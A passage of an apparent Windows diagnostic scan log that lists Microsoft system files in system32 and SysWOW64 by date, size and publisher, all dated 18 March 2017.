2017-03-18 22:57 - 2017-03-18 22:57 - 00133120 _____ (Microsoft Corporation) C:\windows\system32\BcastDVRCommon.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00132608 _____ (Microsoft Corporation) C:\windows\system32\fhuxadapter.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00132608 _____ (Microsoft Corporation) C:\windows\system32\dnscmmc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00132096 _____ (Microsoft Corporation) C:\windows\system32\wclPowrProf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00131584 _____ (Microsoft Corporation) C:\windows\system32\EhStorAPI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00131584 _____ (Microsoft Corporation) C:\windows\system32\dafDockingProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00131072 _____ (Microsoft Corporation) C:\windows\system32\gcdef.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00130464 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tm.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00130048 _____ (Microsoft Corporation) C:\windows\system32\vdsutil.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00130048 _____ (Microsoft Corporation) C:\windows\system32\Robocopy.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00130048 _____ (Microsoft Corporation) C:\windows\system32\mtstocom.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00129536 _____ (Microsoft Corporation) C:\windows\system32\SpaceAgent.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00129536 _____ (Microsoft Corporation) C:\windows\system32\iscsiwmiv2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00129024 _____ (Microsoft Corporation) C:\windows\system32\EhStorAuthn.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00129024 _____ (Microsoft Corporation) C:\windows\system32\dmusic.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\Windows.Security.Credentials.UI.UserConsentVerifier.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\Drivers\NdisImPlatform.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\chartv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00128000 _____ (Microsoft Corporation) C:\windows\system32\cryptcatsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00127144 _____ (Microsoft Corporation) C:\windows\system32\gpapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00126976 _____ (Microsoft Corporation) C:\windows\system32\pnpclean.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00126976 _____ (Microsoft Corporation) C:\windows\system32\NgcProCsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00126976 _____ (Microsoft Corporation) C:\windows\system32\mmcshext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00126464 _____ (Microsoft Corporation) C:\windows\system32\odbccp32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00126152 _____ (Microsoft Corporation) C:\windows\system32\dxva2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00125952 _____ (Microsoft Corporation) C:\windows\system32\wclUnicode.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00125952 _____ (Microsoft Corporation) C:\windows\system32\DeviceSetupManagerAPI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00125440 _____ (Microsoft Corporation) C:\windows\system32\sysclass.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00125440 _____ (Microsoft Corporation) C:\windows\system32\msdtclog.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00124928 _____ (Microsoft Corporation) C:\windows\system32\InputLocaleManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00124928 _____ (Microsoft Corporation) C:\windows\system32\Drivers\luafv.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00124416 _____ (Microsoft Corporation) C:\windows\system32\usbceip.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00124416 _____ (Microsoft Corporation) C:\windows\system32\setupugc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00124416 _____ (Microsoft Corporation) C:\windows\system32\mi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00124118 _____ C:\windows\system32\comexp.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00123904 _____ (Microsoft Corporation) C:\windows\system32\FontProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00123808 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mup.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00123592 _____ (Microsoft Corporation) C:\windows\system32\winmm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00122880 _____ (Microsoft Corporation) C:\windows\system32\NetworkStatus.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00122880 _____ (Microsoft Corporation) C:\windows\system32\fontsub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00122368 _____ (Microsoft Corporation) C:\windows\system32\iscsicpl.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00122368 _____ (Microsoft Corporation) C:\windows\system32\Drivers\NetAdapterCx.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00121856 _____ (Microsoft Corporation) C:\windows\system32\fhsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00121856 _____ (Microsoft Corporation) C:\windows\system32\DAMM.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00121344 _____ (Microsoft Corporation) C:\windows\system32\rekeywiz.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00120320 _____ (Microsoft Corporation) C:\windows\system32\KeywordDetectorMsftSidAdapter.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00120320 _____ (Microsoft Corporation) C:\windows\system32\Drivers\irda.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00120320 _____ (Microsoft Corporation) C:\windows\system32\appidsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00120224 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tdx.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00119808 _____ (Microsoft Corporation) C:\windows\system32\console.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\ngcksp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\negoexts.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\dmsynth.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00119192 _____ (Microsoft Corporation) C:\windows\SysWOW64\SSShim.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00117760 _____ (Microsoft Corporation) C:\windows\system32\xwreg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00117760 _____ (Microsoft Corporation) C:\windows\system32\DAFWiProv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00117760 _____ (Microsoft Corporation) C:\windows\system32\CertPolEng.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00117248 _____ (Microsoft Corporation) C:\windows\system32\LocationWinPalMisc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00117248 _____ (Microsoft Corporation) C:\windows\system32\dbnetlib.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00116736 _____ (Microsoft Corporation) C:\windows\system32\trkwks.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00116280 _____ (Microsoft Corporation) C:\windows\system32\bcd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00116224 _____ (Microsoft Corporation) C:\windows\system32\txflog.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00116224 _____ (Microsoft Corporation) C:\windows\system32\fphc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00115792 _____ (Microsoft Corporation) C:\windows\system32\win32u.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00115200 _____ (Microsoft Corporation) C:\windows\system32\fingerprintcredential.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00115200 _____ (Microsoft Corporation) C:\windows\system32\Drivers\bridge.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00115091 _____ C:\windows\system32\WF.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00114688 _____ (Microsoft Corporation) C:\windows\system32\umpnpmgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00114688 _____ (Microsoft Corporation) C:\windows\system32\uexfat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00114688 _____ (Microsoft Corporation) C:\windows\system32\LicensingCSP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00114232 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Troubleshoot.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00114080 _____ (Microsoft Corporation) C:\windows\system32\kdnet.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00114080 _____ (Microsoft Corporation) C:\windows\system32\icfupgd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00113664 _____ (Microsoft Corporation) C:\windows\system32\msoert2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00113664 _____ (Microsoft Corporation) C:\windows\system32\avifil32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00113256 _____ C:\windows\system32\compmgmt.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00113152 _____ (Microsoft) C:\windows\system32\VaultRoaming.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Background.SystemEventsBroker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\profext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\ndfhcdiscovery.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\MDMAppInstaller.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\MbaeParserTask.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\EhStorPwdMgr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\AuthFWWizFwk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112128 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Streaming.ps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112128 _____ (Microsoft Corporation) C:\windows\system32\tpmvscmgr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00112128 _____ (Microsoft Corporation) C:\windows\system32\profprov.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00112128 _____ (Microsoft Corporation) C:\windows\system32\activeds.tlb
2017-03-18 22:57 - 2017-03-18 22:57 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\MTFFuzzyDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\AxInstSv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00111600 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfAACEnc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00111104 _____ (Microsoft Corporation) C:\windows\system32\comrepl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00110608 _____ (Microsoft Corporation) C:\windows\system32\rmclient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00110592 _____ (Microsoft Corporation) C:\windows\system32\secproc_ssp_isv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00110592 _____ (Microsoft Corporation) C:\windows\system32\secproc_ssp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00110592 _____ (Microsoft Corporation) C:\windows\system32\resmon.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00110080 _____ (Microsoft Corporation) C:\windows\system32\cngcredui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00110080 _____ (Microsoft Corporation) C:\windows\system32\AuthBrokerUI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00110024 _____ C:\windows\system32\MediumRoom.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 00109984 _____ (Microsoft Corporation) C:\windows\system32\apisetschema.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00109568 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Playback.ProxyStub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00109568 _____ (Microsoft Corporation) C:\windows\system32\setupcln.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00109568 _____ (Microsoft Corporation) C:\windows\system32\mapistub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00109568 _____ (Microsoft Corporation) C:\windows\system32\mapi32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00109056 _____ (Microsoft Corporation) C:\windows\system32\vds_ps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00109056 _____ (Microsoft Corporation) C:\windows\system32\CameraCaptureUI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00108544 _____ (Microsoft Corporation) C:\windows\system32\pcwutl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00108032 _____ (Microsoft Corporation) C:\windows\system32\PNPXAssoc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00108032 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-kernel-processor-power-events.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00106912 _____ (Microsoft Corporation) C:\windows\SysWOW64\NetSetupApi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00106480 _____ (Microsoft Corporation) C:\windows\system32\phoneactivate.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00105984 _____ (Microsoft Corporation) C:\windows\system32\winrscmd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00105984 _____ (Microsoft Corporation) C:\windows\system32\fdSSDP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00105880 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mountmgr.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00105880 _____ (Microsoft Corporation) C:\windows\system32\bootsect.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\umpoext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\RjvMDMConfig.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00104448 _____ (Microsoft Corporation) C:\windows\system32\wecutil.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00104448 _____ (Microsoft Corporation) C:\windows\system32\rasauto.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00103424 _____ (Microsoft Corporation) C:\windows\system32\CastLaunch.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00103408 _____ (Microsoft Corporation) C:\windows\system32\msacm32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00102912 _____ (Microsoft Corporation) C:\windows\system32\ncpa.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00102912 _____ (Microsoft Corporation) C:\windows\system32\dnshc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00102912 _____ (Microsoft Corporation) C:\windows\system32\ddisplay.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00102400 _____ (Microsoft Corporation) C:\windows\system32\wevtfwd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00102400 _____ (Microsoft Corporation) C:\windows\system32\dot3msm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00102208 _____ (Microsoft Corporation) C:\windows\system32\CompatTelRunner.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00101288 _____ (Microsoft Corporation) C:\windows\system32\changepk.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\spfileq.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\Mpeg2Data.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\kstvtune.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WUDFPf.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\davclnt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\AppxSysprep.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00100768 _____ (Microsoft Corporation) C:\windows\system32\cmifw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00100352 _____ (Microsoft Corporation) C:\windows\system32\DuCsps.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00100304 _____ (Microsoft Corporation) C:\windows\system32\Windows.Security.Credentials.UI.CredentialPicker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00099840 _____ (Microsoft Corporation) C:\windows\system32\winipsec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00099840 _____ (Microsoft Corporation) C:\windows\system32\TpmInit.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00099840 _____ (Microsoft Corporation) C:\windows\system32\FwRemoteSvr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\wlidfdp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\psisrndr.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\hlink.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\AppCapture.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00098816 _____ (Microsoft Corporation) C:\windows\system32\spinf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00098816 _____ (Microsoft Corporation) C:\windows\system32\radardt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00098816 _____ (Microsoft Corporation) C:\windows\system32\joy.cpl
2017-03-18 22:57 - 2017-03-18 22:57 - 00098816 _____ (Microsoft Corporation) C:\windows\system32\BthRadioMedia.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00098688 _____ (Microsoft Corporation) C:\windows\SysWOW64\MP3DMOD.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00098304 _____ (Microsoft Corporation) C:\windows\system32\mciavi32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00097792 _____ (Microsoft Corporation) C:\windows\system32\wdi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00097792 _____ (Microsoft Corporation) C:\windows\system32\RMSRoamingSecurity.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00097280 _____ (Microsoft Corporation) C:\windows\system32\WaaSAssessment.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00097184 _____ (Microsoft Corporation) C:\windows\system32\DeviceReactivation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00096768 _____ (Microsoft Corporation) C:\windows\system32\atl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00096768 _____ (Microsoft Corporation) C:\windows\system32\adsmsext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00096680 _____ (Microsoft Corporation) C:\windows\system32\EncDump.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\container_xml.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\CallButtons.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\bdaplgin.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00095744 _____ (Microsoft Corporation) C:\windows\system32\tzautoupdate.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00094720 _____ (Microsoft Corporation) C:\windows\system32\wudriver.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\sqlsrv32.rll
2017-03-18 22:57 - 2017-03-18 22:57 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\setupcl.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\chxranker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\bthci.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00094208 _____ (Microsoft Corporation) C:\windows\system32\amstream.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00094112 _____ (Microsoft Corporation) C:\windows\system32\Windows.StateRepositoryBroker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00093696 _____ (Microsoft Corporation) C:\windows\system32\spbcd.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00093696 _____ (Microsoft Corporation) C:\windows\system32\SecureTimeAggregator.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00093696 _____ (Microsoft Corporation) C:\windows\system32\dasHost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00093184 _____ (Microsoft Corporation) C:\windows\system32\provmigrate.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00093184 _____ (Microsoft Corporation) C:\windows\system32\netsh.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00093184 _____ (Microsoft Corporation) C:\windows\system32\ndishc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00093184 _____ (Microsoft Corporation) C:\windows\system32\Drivers\cdfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00092746 _____ C:\windows\system32\services.msc
2017-03-18 22:57 - 2017-03-18 22:57 - 00092672 _____ C:\windows\system32\BthpanContextHandler.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00092672 _____ (Microsoft Corporation) C:\windows\system32\MdSched.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00092186 _____ C:\windows\system32\DiskSnapshot.conf
2017-03-18 22:57 - 2017-03-18 22:57 - 00092160 _____ (Microsoft Corporation) C:\windows\system32\cmstp.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\WUDFSvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\WSTPager.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\cca.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00091520 _____ (Microsoft Corporation) C:\windows\system32\winbrand.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00091136 _____ (Microsoft Corporation) C:\windows\system32\hotplug.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00091132 _____ C:\windows\system32\gatherNetworkInfo.vbs
2017-03-18 22:57 - 2017-03-18 22:57 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\Utilman.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\mibincodec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00090112 _____ (Microsoft Corporation) C:\windows\system32\CompMgmtLauncher.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00089600 _____ (Microsoft Corporation) C:\windows\system32\winsockhc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00089600 _____ (Microsoft Corporation) C:\windows\system32\dot3api.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00089600 _____ (Microsoft Corporation) C:\windows\system32\dmclient.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00089504 _____ (Microsoft Corporation) C:\windows\system32\nlsbres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00089400 _____ (Microsoft Corporation) C:\windows\system32\devenum.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00089088 _____ (Microsoft Corporation) C:\windows\system32\RuleBasedDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00089088 _____ (Microsoft Corporation) C:\windows\system32\recovery.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00089088 _____ (Microsoft Corporation) C:\windows\system32\nlahc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00088992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\EhStorClass.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\iashlpr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00088576 _____ (Microsoft Corporation) C:\windows\system32\bootcfg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00088064 _____ (Microsoft Corporation) C:\windows\system32\odbccu32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00088064 _____ (Microsoft Corporation) C:\windows\system32\bcdsrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00087904 _____ (Microsoft Corporation) C:\windows\system32\remoteaudioendpoint.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\PlaySndSrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\odbccr32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00087392 _____ (Microsoft Corporation) C:\windows\system32\taskhostw.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00087040 _____ (Microsoft Corporation) C:\windows\system32\usoapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00087040 _____ (Microsoft Corporation) C:\windows\system32\MdRes.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00087040 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ipfltdrv.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00087040 _____ (Microsoft Corporation) C:\windows\system32\cliconfg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00086432 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fileinfo.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00086432 _____ (Microsoft Corporation) C:\windows\system32\Drivers\crashdmp.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00086016 _____ (Microsoft Corporation) C:\windows\system32\nslookup.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00086016 _____ (Microsoft Corporation) C:\windows\system32\BingFilterDS.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\INETRES.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\dhcpcsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00085504 _____ (Microsoft Corporation) C:\windows\system32\correngine.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00084992 _____ (Microsoft Corporation) C:\windows\system32\winethc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00084480 _____ (Microsoft Corporation) C:\windows\system32\makecab.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.UserDeviceAssociation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\perftrack.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\eventvwr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\MSchedExe.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\EditBufferTestHook.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vmbkmclr.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mslldp.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\WfHC.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\igdDiag.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\hbaapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00082944 _____ (Microsoft Corporation) C:\windows\system32\DiskSnapshot.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\tabcal.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\prvdmofcomp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00082432 _____ (Microsoft Corporation) C:\windows\system32\msvcirt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00081920 _____ (Microsoft Corporation) C:\windows\system32\SCardDlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00081920 _____ (Microsoft Corporation) C:\windows\system32\loghours.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00081920 _____ (Microsoft Corporation) C:\windows\system32\iasacct.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00081920 _____ (Microsoft Corporation) C:\windows\system32\Drivers\raspppoe.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\NetDriverInstall.dll
